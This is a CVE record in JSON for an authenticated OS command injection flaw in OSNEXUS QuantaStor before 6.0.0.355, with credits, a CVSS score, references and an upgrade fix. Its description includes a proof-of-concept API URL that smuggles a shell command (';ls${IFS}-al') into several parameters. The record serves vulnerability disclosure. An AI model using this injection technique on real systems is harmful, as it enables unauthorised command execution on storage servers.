{ "dataType": "CVE_RECORD", "dataVersion": "5.1", "cveMetadata": { "cveId": "CVE-2021-42081", "assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "state": "PUBLISHED", "assignerShortName": "DIVD", "dateReserved": "2021-10-07T17:12:57.678Z", "datePublished": "2023-07-10T06:29:48.514Z", "dateUpdated": "2025-09-22T06:40:06.104Z" }, "containers": { "cna": { "affected": [ { "defaultStatus": "unknown", "product": "QuantaStor", "vendor": "OSNEXUS", "versions": [ { "lessThan": "6.0.0.355", "status": "affected", "version": "0", "versionType": "semver" } ] } ], "credits": [ { "lang": "en", "type": "finder", "user": "00000000-0000-4000-9000-000000000000", "value": "Wietse Boonstra (DIVD)" }, { "lang": "en", "type": "analyst", "value": "Frank Breedijk (DIVD)" }, { "lang": "en", "type": "analyst", "value": "Victor Pasman (DIVD)" }, { "lang": "en", "type": "analyst", "value": "Victor Gevers (DIVD)" }, { "lang": "en", "type": "analyst", "value": "Max van der Horst (DIVD)" }, { "lang": "en", "type": "analyst", "value": "Célistine Oosting (DIVD)" } ], "descriptions": [ { "lang": "en", "supportingMedia": [ { "base64": false, "type": "text/html", "value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.

POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al" } ], "value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp:///qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al" } ], "metrics": [ { "cvssV3_1": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.1, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "version": "3.1" }, "format": "CVSS", "scenarios": [ { "lang": "en", "value": "GENERAL" } ] } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-78", "description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "shortName": "DIVD", "dateUpdated": "2025-09-22T06:40:06.104Z" }, "references": [ { "tags": [ "third-party-advisory", "technical-description", "exploit" ], "url": "https://www.wbsec.nl/osnexus" }, { "tags": [ "third-party-advisory" ], "url": "https://csirt.divd.nl/DIVD-2021-00020/" }, { "tags": [ "product" ], "url": "https://www.osnexus.com/products/software-defined-storage" }, { "tags": [ "third-party-advisory", "technical-description", "exploit" ], "url": "https://csirt.divd.nl/CVE-2021-42081" } ], "solutions": [ { "lang": "en", "supportingMedia": [ { "base64": false, "type": "text/html", "value": "Upgrade to the latest version of OSNEXUS QuantaStor." } ], "value": "Upgrade to the latest version of OSNEXUS QuantaStor." } ], "source": { "discovery": "UNKNOWN" }, "title": "Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355", "x_generator": { "engine": "Vulnogram 0.1.0-dev" } }, "adp": [ { "providerMetadata": { "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-04T03:22:25.989Z" }, "title": "CVE Program Container", "references": [ { "url": "https://www.wbsec.nl/osnexus", "tags": [ "third-party-advisory", "x_transferred" ] }, { "url": "https://www.divd.nl/DIVD-2021-00020", "tags": [ "third-party-advisory", "x_transferred" ] }, { "url": "https://www.osnexus.com/products/software-defined-storage", "tags": [ "product", "x_transferred" ] }, { "url": "https://csirt.divd.nl/CVE-2021-42081", "tags": [ "third-party-advisory", "x_transferred" ] } ] }, { "metrics": [ { "other": { "type": "ssvc", "content": { "timestamp": "2024-11-12T14:14:48.828227Z", "id": "CVE-2021-42081", "options": [ { "Exploitation": "none" }, { "Automatable": "no" }, { "Technical Impact": "total" } ], "role": "CISA Coordinator", "version": "2.0.3" } } } ], "title": "CISA ADP Vulnrichment", "providerMetadata": { "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-11-12T14:15:41.770Z" } } ] } }